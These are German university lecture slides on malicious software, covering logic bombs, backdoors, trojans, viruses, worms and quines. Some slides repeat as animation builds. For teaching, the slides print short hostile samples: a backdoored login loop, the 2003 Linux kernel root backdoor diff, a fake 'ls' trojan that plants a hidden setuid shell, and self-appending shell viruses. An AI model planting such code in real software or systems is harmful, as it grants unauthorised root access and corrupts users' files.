95
Vorlesung Informationssicherheit Thema 5: Bösartige Software Robert Baumgartl 11. Mai 2016 1 / 95

Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

  • Upload
    others

  • View
    0

  • Download
    0

Embed Size (px)

Citation preview

Page 1: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Vorlesung InformationssicherheitThema 5: Bösartige Software

Robert Baumgartl

11. Mai 2016

1 / 95

Page 2: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Überblick

Bösartige Software

unabhängigWirtsprogramm nötig

Hintertüren

Logische Bomben Viren Würmer Trojanische Pferde

verbreiten sich selbständig

Abbildung: Mögliche Kategorisierung bösartiger Software

I lokale vs. entfernte AngriffeI on-line- vs. off-line-Angriffe

2 / 95

Page 3: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Logische Bomben

Idee: Implantierung „bösartigen“ Codes in Applikationen (oderin das BS), Aktivierung des Codes, sobald eine bestimmteAktivierungsbedingung erfüllt

I Aktivierungsbedingung Eintritt eines Datums→ (logische)„Zeitbombe“ (Kalender von Aktivierungsdaten:http://vil.nai.com/vil/calendar/virus_calendar.aspx)

I meist simples Löschen von DatenI häufig eingesetzt, um „Rache“ für Entlassung o. ä. zu üben

3 / 95

Page 4: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Ausschnitt aus dem McAfee-Aktivierungskalender

12. Mai W97M/Alamat, W97M/Yous, VBS/Horty.b@MM,VBS/Horty.a@MM, WM/Alliance.A, WM/Envader.A(Intended), WM/Eraser.A:Tw, VBS/Aqui

13. Mai VBS/Aqui, VBS/Zync, WM/Eraser.A:Tw, VBS/Alphae,WM/Envader.A (Intended), Twno.A, WM/BOOM.A;B,WM/BADBOY.A;B;C, WM/FRIDAY.D, WM/FRIDAY.A,WM/Goldsecret.B:Int,WM/CVCK1.B;E,W97M/Rapmak.a, W97M/Yous, W97M/Alamat,WM/SHOWOFF.G, W97M/BackHand.A, W97M/Idea.A,W97M/Digma

14. Mai X97M/Jal.a, VBS/San@M, W97M/Este, W97M/Alamat,W32/SoftSix.worm, W97M/Yous, VBS/Valentin@MM,WM/PHARDERA.C ;D (INTENDED), W97M/Class.B,W97M/Class.D, W97M/Ekiam, WM/Eraser.A:Tw,VBS/Aqui

15. Mai . . .

4 / 95

Page 5: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Logische Bomben

Beispiel:I Donald Gene Burleson, Programmierer für Versicherung

USPA & IRA, Ft. Worth, TXI entlassen am 18. 9. 1985 (Grund: persönliche

Schwierigkeiten)I am 21. 9. 1985 um 3 Uhr werden 168.000 Datensätze aus

der Datenbank des Unternehmens gelöschtI Code wurde bei Restaurierung der gelöschten Datensätze

gefundenVor Gericht:

“Benson, who spent four days testifying about how heuncovered the scheme, said the destructive programswere created Sept. 2 and Sept. 3, 1985, on Burleson’scomputer terminal by someone using Burleson’scomputer password.”

(http://catless.ncl.ac.uk/Risks/7.56.html)5 / 95

Page 6: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Hintertüren (Back Doors)

Idee: Einbau (nichtdokumentierter) Schnittstellen in Softwarezwecks späteren (unautorisierten) Zugriffes auf das System.

I Mißbrauch von geheimen Debugging-SchnittstellenI schwierig von BS-Seite aus zu erkennenI häufiges Relikt aus der ProduktentwicklungI Behörden sind häufig der Meinung, ein Anrecht auf

Hintertüren zu habenI Gegenmaßnahme: Code Reviews, Open SourceI symmetrische vs. asymmetrische HintertürenI viele Würmer installieren Back DoorsI Klassiker: Back Orifice

(http://www.cultdeadcow.com/tools/bo.php)I feste Master-BIOS-Passworte, z. B. lkwpeter bei Award

BIOS

6 / 95

Page 7: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Beispiel einer Hintertür

Beispiel: Login-Code mit Hintertür (Tanenbaum: ModernOperating Systems, 2001, S. 610)

while (TRUE) {printf("login: ");get_string(name);disable_echoing();printf("password: ");get_string(password);enable_echoing();v = check_validity(name, password);if (v || strcmp(name, "zzzzz") == 0)break;

}execute_shell(name);

7 / 95

Page 8: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Beispiel 2 (Backdoor im Linux-Kern; nice try)

From: Larry McVoy [email blocked]Subject: Re: BK2CVS problemDate: Wed, 5 Nov 2003 14:23:02 -0800

On Wed, Nov 05, 2003 at 12:58:13PM -0800, Matthew Dharm wrote:> Out of curiosity, what were the changed lines?--- GOOD 2003-11-05 13:46:44.000000000 -0800+++ BAD 2003-11-05 13:46:53.000000000 -0800@@ -1111,6 +1111,8 @@

schedule();goto repeat;

}+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))+ retval = -EINVAL;

retval = -ECHILD;end_wait4:

current->state = TASK_RUNNING;

---Larry McVoy lm at bitmover.com

8 / 95

Page 9: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Beispiel 2 (Backdoor im Linux-Kern; nice try)

I jemand modifizierte die Kernelquellen (unautorisiert)I fraglicher Code gehört zu sys_wait4(), d. h. dem

Systemruf wait4()I „verkleideter Code“; (current->uid = 0) sieht so

ähnlich aus wie (current->uid == 0)

I wenn jemand wait4() aufruft und die Optionen__WCLONE und __WALL sind gesetzt, so erhält derRufende root-Rechte

I Code wurde beim Review entdeckt (“It’s not a big deal, wecatch stuff like this, but it’s annoying to the CVS users.”)

9 / 95

Page 10: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Trojanische Pferde („Trojaner“)

Idee: dem Nutzer ein Programm unterschieben, welches beiAktivierung unerlaubte Aktionen ausführt

I anstelle eines Eindringlings führt ein autorisierter NutzerSchadcode aus

I Beispiel: gefälschter Login-BildschirmI Klassiker: Compiler, der unbemerkt bösartigen Code in

übersetzte Programme einbaut (Ken Thompson:Reflections on Trusting Trust, CACM 4(27), S. 761ff.)

I vgl. "‘Bundestrojaner"’

10 / 95

Page 11: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Beispiel eines simplen UNIX-Trojaners

(ls benennen und im Pfad eines Nutzers unterbringen)

#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*

I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle

ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit

denen des AufrufendenI Zugriff auf Daten des Angegriffenen

11 / 95

Page 12: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Beispiel eines simplen UNIX-Trojaners

(ls benennen und im Pfad eines Nutzers unterbringen)

#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*

I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle

ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit

denen des AufrufendenI Zugriff auf Daten des Angegriffenen

12 / 95

Page 13: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Beispiel eines simplen UNIX-Trojaners

(ls benennen und im Pfad eines Nutzers unterbringen)

#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*

I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle

ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit

denen des AufrufendenI Zugriff auf Daten des Angegriffenen

13 / 95

Page 14: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Beispiel eines simplen UNIX-Trojaners

(ls benennen und im Pfad eines Nutzers unterbringen)

#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*

I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle

ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit

denen des AufrufendenI Zugriff auf Daten des Angegriffenen

14 / 95

Page 15: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Beispiel eines simplen UNIX-Trojaners

(ls benennen und im Pfad eines Nutzers unterbringen)

#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*

I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle

ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit

denen des AufrufendenI Zugriff auf Daten des Angegriffenen

15 / 95

Page 16: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

(Computer)-Viren

“A virus is a program that is able to infect otherprograms by modifying them to include a possiblyevolved copy of itself.” (Fred Cohen)

einige Varianten:I Stealth-VirenI polymorphe VirenI Bootsektor-VirenI Macro-Viren

16 / 95

Page 17: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Beispiel für viralen (virulenten?) Code

for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;

fidone

Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)

17 / 95

Page 18: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Beispiel für viralen (virulenten?) Code

for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;

fidone

Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)

18 / 95

Page 19: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Beispiel für viralen (virulenten?) Code

for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;

fidone

Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)

19 / 95

Page 20: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Beispiel für viralen (virulenten?) Code

for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;

fidone

Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)

20 / 95

Page 21: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Beispiel für viralen (virulenten?) Code

for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;

fidone

Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)

21 / 95

Page 22: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Ein (etwas) besserer Virus

for i in *.sh; doif test "./$i" != "$0"; thenHOST=$(echo -n $(tail -10 $i))VIR=$(echo -n $(tail -10 $0))if [ "$HOST" != "$VIR" ]thentail -n 10 $0 | cat >> $i;

fifi

done

22 / 95

Page 23: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Würmer

“An independently replicating and autonomousinfection agent, capable of seeking out new hostsystems and infecting them via the network.”(Jose Nazario: Defence and Detection Strategiesagainst Internet Worms, Artech House, 2004)

Bekannte Vertreter:I W32.BlasterI MelissaI MydoomI SasserI Conficker

23 / 95

Page 24: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Komponenten eines Wurms

1. Aufklärung neuer Hosts als potentielle AngriffszieleI IP-Adreßräume (partiell) durchsuchenI lokale Suche in (z. B.) KonfigurationsdateienI OS Fingerprinting, um BS-Typ und -Version zu ermitteln

2. AngriffscodeI Remote Exploit bekannter SchwachstellenI Trojanisches Pferd (z.B. Mail mit attached Binary)I benötigt für jede anzugreifende Plattform Exploit

3. KommunikationI z. B. mittels ICMP, UDP, . . . , E-MailI über verdeckte KanäleI Verbergen beteiligter Prozesse und Sockets mittels

Kernelmodul oder durch Störung vonÜberwachungssoftware

24 / 95

Page 25: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Komponenten eines Wurms

4. KommandoschnittstelleI interaktiv oder indirekt (script-gesteuert)I typische Kommandos: Up-/Download von Dateien,

Flut-Ping, Generierung von HTTP-Requests, . . .5. Verwaltung der erfolgreich angegriffenen Hosts

I verteilte oder zentralisierte DatenbankI Liste aller befallenen RechnerI in privatem IRC-Channel

25 / 95

Page 26: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Weitere Begriffe

I RansomwareI (kryptografisch sichere) Verschlüsselung des

MassenspeichersI Entschlüsselung nur nach Zahlung eines „Lösegelds“I z. B. CryptoLocker (nutzt 2048-Bit-RSA-Schlüssel, forderte

400$)I Rootkit

I Software, die zur Verschleierung der Kompromittierungeines Rechners dient

I SpywareI KeyloggerI Hoax (z. B. Good-Times-„Virus“)

26 / 95

Page 27: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

GoodTimes

FYI, a file, going under the name "Good Times"is being sent to some Internet users whosubscribe to on-line services (Compuserve,Prodigy and America On Line). If you shouldreceive this file, do not download it! Deleteit immediately. I understand that there is avirus included in that file, which ifdownloaded to your personal computer, willruin all of your files. [...]

27 / 95

Page 28: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Computerviren

28 / 95

Page 29: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Literatur

I Eric Filiol: Computer Viruses: From Theory to Appliactions.Springer, 2005

I Peter Szor: The Art of Computer Virus Research andDefense. Addison-Wesley, 2005

I Mark Ludwig: The Giant Black Book of Computer Viruses.American Eagle Publications, 1995

I John Aycock: Computer Viruses and Malware. Springer,2006

I http://www.cknow.com/vtutor/IntroductiontoViruses.htmlI http://vx.netlux.org/

29 / 95

Page 30: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Was ist ein Virus?

DefinitionA virus is a program that reproduces its own code by attachingitself to other executable files in such a way that the virus codeis executed when the infected executable file is executed.Anmerkungen:

I Implementationssprache irrelevantI keine Schadroutine nötigI Wurm ist auch ein Virus

30 / 95

Page 31: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Bestandteile eines Virus

I Infektionsmechanismus: Aufsuchen von Zielen,Replikation

I Routine(n) zum Verbergen: vor dem Nutzer oderAnti-Viren-Software

I Trigger: Entscheidung, ob bzw. wann Nutzlast aktiviertwird

I Nutzlast: zufälliger oder beabsichtigter Schaden oder„Spaß“

Beispiel: blackwolf.c (http://vx.netlux.org/lib/vbw06.html)

31 / 95

Page 32: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Analyse: Blackwolf-Virus in C

I sucht alle .COM-Dateien im aktuellen Verzeichnis undinfizierte diese (auf einmal)→ schnelle Infektion

I überschreibender VirusI mäßig destruktiv: Virus-Code überschreibt Anfang der

ZieleI verbirgt sich nichtI keine NutzlastI infiziert bei jeder Aktivierung, Ziele wachsen nicht, da

überschreibend

32 / 95

Page 33: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Klassifizierung von Viren Inach dem potentiellen Ziel

I Boot-SektorI (allgemeine) ausführbare Dateien (.BAT, .EXE, .VBS,

PostScript, ELF, .sh, .py, . . . )I (spezielle) Dateien bestimmter Applikationen, die mit

Makrosprache ausgerüstet sind, z. B. Microsoft Office→Makroviren (data file infectors)

33 / 95

Page 34: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Klassifizierung von Viren IInach der Strategie des Verbergens

I keineI verschlüsselnd (besser: obfuscating)I Stealth: Virus versucht, sich sowie die Infektion zu

verbergenI Oligomorphismus: Virus kommt in (endlich) vielen Formen

vorI Polymorphismus: Virus kommt in (fast) unendlich vielen

Formen vorI Metamorphismus: Virus wechselt seine Gestalt

34 / 95

Page 35: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Klassifizierung von Viren IIInach der Schadfunktion (Nutzlast, Payload)

1. keine SchadfunktionI typisch für Proof-of-Concept-VirenI trotzdem nicht harmlos (Ressourcenverbrauch,

Datenverlust infolge Absturzes, . . . )2. unbeabsichtigte Schadfunktion („aus Versehen“)

I Beispiel: Stoned-VirusI schreibt Boot-Sektor an einen (vermeintlich) sicheren Platz,

Ende des WurzelverzeichnissesI Verzeichniseinträge werden überschrieben, falls sehr viele

Dateien im Root-Verzeichnis3. nichtdestruktive Schadfunktion

I „Yankee Doodle“I „Cascade“ (Herbstlaub)I W95/Marburg: zeichnet 256 Icons (IDI_HAND) zufällig auf

den Bildschirm

35 / 95

Page 36: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Nichtdestruktive Schadfunktion von W95/Marburg

(http://www.sophos.com/images/viruses/w95-marburg.gif )

36 / 95

Page 37: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Klassifizierung von Viren IIInach der Schadfunktion (Nutzlast, Payload)

4. mäßig destruktive Schadfunktion („mildly damaging“)I Löschen z. B. von Anti-Viren Software aus Speicher und

von FestplatteI W95/HPS kehrt samstags unkomprimierte BMP-Bilder um

(von rechts nach links)I WM/Wazzu.A (1996), bewegt 1-3 Wörter in einem

Office-Dokument, fügt ab und zu das Wort „Wazzu“ ein5. stark destruktive Schadfunktion

a) schnelles Überschreiben von DatenI Michelangelo: überschreibt erste 17 Sektoren jeder Spur der Köpfe 0 bis 4 des

BootmediumsI Überschreiben des MBR oder der FAT (Töltögetö-Virus)I AntiPascal: löscht Pascal-Quellfiles (.PAS)

37 / 95

Page 38: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Stark destruktive Schadfunktionen

b) langsames Überschreiben von Daten (Data Diddler)I Dark.Avenger.1800.A: schreibt "Eddie lives ...somewhere in time!" in zufälligen Sektor

I Ripper: tauscht 2 Datenworte in einem zufällig gewähltenSektor der Festplatte aus

I Gefahr, daß manipulierte Daten ins Backup wandernc) Datenverschlüsselung

I Disk Killer: XORt alle Sektoren des DatenträgersI KOH: verschlüsselt Datenträger mittels IDEA (Idee:

Datenschutz!), „guter Virus“ !?d Störung der Hardware

I AntiCMOS: beschreibt CMOS-RAM (setztCMOS-Passwort)

I W95/CIH: überschreibt (u. a.) Teile des BIOS imFlash-Speicher

38 / 95

Page 39: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Mehrfachinfektion

I Mehrfachinfektion muß vermieden werden, da diese zuI unbeabsichtigtem Fehlverhalten undI auffälligem „Wachstum“ infizierter Dateien

führen, was die Detektierung erleichtert.I → Virus muß infizierte von nichtinfizierten Dateien

unterscheiden könnenI Wenn ein Virus dies kann, so kann dies (potentiell) auch

Anti-Viren-Software!

39 / 95

Page 40: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Überschreibender Virus

Header

Code

Virus

ausführbare Zieldatei

Header

Code

und

Daten

Header

Codeüberschriebener Teil

der Zieldatei

nichtüberschrieben

Infektion

Abbildung: Prinzip des überschreibenden Virus

40 / 95

Page 41: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Überschreibender Virus

I Größe des Ziels ändert sich nichtI auch ohne Payload bösartig: Überschreiben führt zu

Nichtausführbarkeit des ZielsI auch Überschreiben am Ende möglich (Sprung zum Virus

und danach zum Wirtsprogramm)I Virus muß sehr klein sein

41 / 95

Page 42: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Anhangvirus (Appender/Prepender)

Zieldatei

Virus

Infektion

1.

2.

infizierte Zieldatei Aufrufreihenfolge

Abbildung: Prinzip des sich anhängenden Virus42 / 95

Page 43: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Anhangvirus

I Append: kleiner Teil des Targets wird mit Sprung zum Virusüberschrieben

I während Ausführung des Virus muss Zieldatei wiederrestauriert werden

I Auch Voranstellen des Virus möglich, aber ungleichschwieriger

I Größe der Zieldatei ändert sich

43 / 95

Page 44: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Companion Virus (Begleiter)

Idee:I Anlegen einer zusätzlichen Datei („Begleiter“), die mit

Zieldatei (logisch) verbunden istI wenn Zieldatei ausgeführt wird, wird zunächst stets der

Begleiter, der Virus, ausgeführtI Integrität des Zieles bleibt erhalten, jedoch entstehen neue

Dateien

44 / 95

Page 45: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Companion Virus

Zieldatei

Virus Virus

Zieldatei

Exec

1. 2.

Infektion

infizierte Zieldatei

Abbildung: Prinzip des Companion Virus

45 / 95

Page 46: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Companion VirusImplementierungstechniken

I Nutzung einer Ausführungspräzedenz (z. B. MS-DOS:file.com > file.exe > file.bat)

I Nutzung der Hierarchie beim Suchen ausführbarer Dateien

I Datei gleichen Namens wie das Ziel in ein Verzeichnisschreiben, das im PATH vor dem Verzeichnis des Zielessteht

I Manipulation der Indexstruktur der ZieldateiI Überschreiben der Startclusternummer des Zieles mit

Startclusternummer des Virus (und entsprechendeVerkettung)

I Umbenennung des ZielesI Virus kopiert sich, benennt sich wie Ziel, und ruft dieses

nach eigener AktivitätI betriebssystemunabhängig

46 / 95

Page 47: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Quellcode-Virus

Idee: Manipulation von Quellcode: Einfügen virulenten CodesI Vorteil: infizierte Binärdateien sind vollständig intaktI vgl. Ken Thompson: Reflections on Trusting Trust. CACM

4(27) 1984, S. 761ff.Gegenmaßnahmen:

I Code ReviewI Integritätsprüfungen von Quelldateien

47 / 95

Page 48: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Autoreplizierende Programme

Definition (Quine)Ein Quine ist ein Programm, das seinen eigenen Quellcodeausgibt.

I ziemlich schwierig für compilierte Sprachen zu schreiben(probieren Sie es!)

I nicht so schwierig für interpretierte Sprachen

Beispiel in C:char∗ f =" char∗ f=%c%s%c ; main ( ) { p r i n t f ( f ,34 , f ,34 ,10) \;}%c " ; main ( ) { p r i n t f ( f ,34 , f ,34 ,10) ; }

Literatur: http://www.madore.org/˜david/computers/quine.html

48 / 95

Page 49: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Ein Quine in LATEX

\documentclass{book}\pagestyle{empty}\def\a{\ensuremath{\backslash}}\def\f{\def\b{\a}\def\c{\{}\def\d{\}}\def\e{\\}\noindent\g\b def\b g\c\def\b{\a b}\def\c{\a c }\def\d{\a d}\def\e{\a e\\}\g\}\a begin\{document\}\a f\a end\{document\}}\def\g{ \b documentclass\c book\d\b pagestyle\e\c empty\d\b def\b a\c \b ensuremath\c \b backslash\d\d\b def\b f\e\c \b def\b b\c \b a\d\b def\b c\c \b \c \d\b def\b d\c \b \d\d\b def\e\b e\c \b \b \d\b noindent\b g\b b def\b b g\b c\b def\b b\c \b a b\e\d\b def\b c\c \b a c \d\b def\b d\c \b a d\d\b def\b e\c \b a e\e\b \b \d\b g\b \d\b a begin\b \c document\b \d\b a f\b a end\e\b \c document\b \d\d}\begin{document}\f\end{document}

49 / 95

Page 50: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Quines in UNIX-Shell

Beispiel 1:#!/bin/bashread foo<<’EOF’;eval $fooecho ’#!/bin/bash’;echo ’read foo<<’"’EOF’"’;eval $foo’ \;echo $foo;echo EOFEOF

Beispiel 2:#!/bin/bashcat $0

50 / 95

Page 51: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Funktionsweise eines Quellcode-Virus

1. Virus kreiert Quellcodefile (virus.h), 2 Komponenten:I Code des Virus (, der in Zieldatei eingebunden und

übersetzt wird zu infiziertem Binärfile)I gleicher Code in Form einer Datenstruktur (z. B. Array) für

weitere Generationen des Virus= Quine

2. Infektion eines Zieles:I #include "virus.h"I Einfügen mindestens eines Aufrufs des Viruscode in Ziel

3. Virus selbst kann Übersetzungslauf der infizierten Quelleveranlassen

51 / 95

Page 52: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Quellcode-Virus

Zieldatei

Virus

Zieldatei

Zieldatei

(Quellcode)

aktiver Virus(Binärcode)

Übersetzung

manipuliert

infizierte Zieldatei(Binärcode)

manipuliert

manipuliert

